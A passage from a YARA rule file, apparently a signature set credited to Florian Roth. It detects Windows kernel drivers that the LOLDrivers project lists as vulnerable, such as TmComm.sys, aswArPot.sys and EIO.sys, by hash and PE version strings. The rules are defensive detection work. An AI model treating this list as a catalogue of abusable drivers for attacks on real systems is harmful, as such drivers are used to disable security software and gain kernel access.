		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Rtkiosys_Windowsrcodenamelonghornddkdriver_916C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677"
		hash = "caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab"
		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
		date = "2023-06-14"
		score = 40
		id = "346488b2-5390-528e-8d54-5ed3dbc6e322"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E4D9
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e4d9f037411284e996a002b15b49bc227d085ee869ae1cd91ba54ff7c244f036"
		date = "2023-06-14"
		score = 40
		id = "b0ef62c7-b223-5d70-883d-1a6a3d28dc0d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000350038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Windowsrwinddkprovider_Cupfixerxsys_Windowsrwinddkdriver_8C74
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CupFixerx64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8c748ae5dcc10614cc134064c99367d28f3131d1f1dda0c9c29e99279dc1bdd9"
		date = "2023-06-14"
		score = 40
		id = "32559d4c-eef4-5b67-a74c-f89589bc446b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530069006e0063006500790020004300750070002000460069007800650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_B175
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0"
		date = "2023-06-14"
		score = 40
		id = "1c0669aa-b156-580f-9bb0-d69502af6a7f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000370020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_2AFD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2afdb3278a7b57466a103024aef9ff7f41c73a19bab843a8ebf3d3c4d4e82b30"
		date = "2023-06-14"
		score = 40
		id = "4dc89f62-c0e0-5abf-9774-3ca21f8a1d8e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000390038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Iomapsys_Asuskernelmodedriverfornt_EA85
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IOMap64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41"
		date = "2023-06-14"
		score = 40
		id = "8b2fbab4-4b54-57dc-9591-1d993e844dc0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f004d00610070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f004d00610070002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003100300020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E05E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
		date = "2023-06-14"
		score = 40
		id = "71c7a688-d20a-57c3-b4c5-b8344e936900"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E452
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e4522e2cfa0b1f5d258a3cf85b87681d6969e0572f668024c465d635c236b5d9"
		date = "2023-06-14"
		score = 40
		id = "15332784-229c-5b5e-b06c-2ea6cff64113"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_5596
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - hw.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa"
		hash = "4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8"
		date = "2023-06-14"
		score = 40
		id = "2a470258-2ec1-5d80-8ce8-d8f83a27c365"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d003100300020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003200310020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Mydriverscom_Hwm_Drivergenius_08EB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mydrivers.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6"
		date = "2023-06-14"
		score = 40
		id = "a944a7a1-f938-548e-8788-a4733d777850"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440072006900760065007200470065006e0069007500730020004800610072006400770061007200650020006d006f006e00690074006f0072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00790044007200690076006500720073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0032002e003700300037002e0031003200310034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032003000310036002e0037002e0037002e0031003200310034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480057004d }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440072006900760065007200470065006e006900750073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d00790064007200690076006500720073002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020004d00790044007200690076006500720073002e0063006f006d00200061006c006c002000720069006700680074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_3E27
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3e274df646f191d2705c0beaa35eeea84808593c3b333809f13632782e27ad75"
		date = "2023-06-14"
		score = 40
		id = "5e116c70-6da1-5397-9b73-32955086c886"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Powertool_Kevpsys_Powertool_8E63
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kEvP64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8e6363a6393eb4234667c6f614b2072e33512866b3204f8395bbe01530d63f2f"
		hash = "09b0e07af8b17db1d896b78da4dd3f55db76738ee1f4ced083a97d737334a184"
		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
		date = "2023-06-14"
		score = 40
		id = "0010c121-11bb-5068-a06d-aa136e5af0ad"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006f0077006500720054006f006f006c }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0050006f0077006500720054006f006f006c }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006b00450076005000360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006f0077006500720054006f006f006c }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00450076005000360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0050006f0077006500720054006f006f006c }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_3B6E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3b6e85c8fed9e39b21b2eab0b69bc464272b2c92961510c36e2e2df7aa39861b"
		date = "2023-06-14"
		score = 40
		id = "d2e411b6-da38-5ff0-a24a-78064a5fafcf"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7C73
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7c731c0ea7f28671ab7787800db69739ea5cd6be16ea21045b4580cf95cbf73b"
		hash = "fca10cde7d331b7f614118682d834d46125a65888e97bd9fda2df3f15797166c"
		date = "2023-06-14"
		score = 40
		id = "ab7574a5-acba-5e3d-9259-e5833d43d195"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1A42
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1a42ebde59e8f63804eaa404f79ee93a16bb33d27fb158c6bfbe6143226899a0"
		date = "2023-06-14"
		score = 40
		id = "d776ad80-318f-5e3c-b006-daa70a14aff4"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_EC5F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ec5fac0b6bb267a2bd10fc80c8cca6718439d56e82e053d3ff799ce5f3475db5"
		date = "2023-06-14"
		score = 40
		id = "1d73baba-017c-527d-9eb8-0eb9865656b6"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_34E0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "34e0364a4952d914f23f271d36e11161fb6bb7b64aea22ff965a967825a4a4bf"
		date = "2023-06-14"
		score = 40
		id = "11164331-fdba-5e7d-a2ea-4621b438060a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_D0BD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d0bd1ae72aeb5f3eabf1531a635f990e5eaae7fdd560342f915f723766c80889"
		date = "2023-06-14"
		score = 40
		id = "81712338-7518-565a-8004-4708808d93ee"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_3C18
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
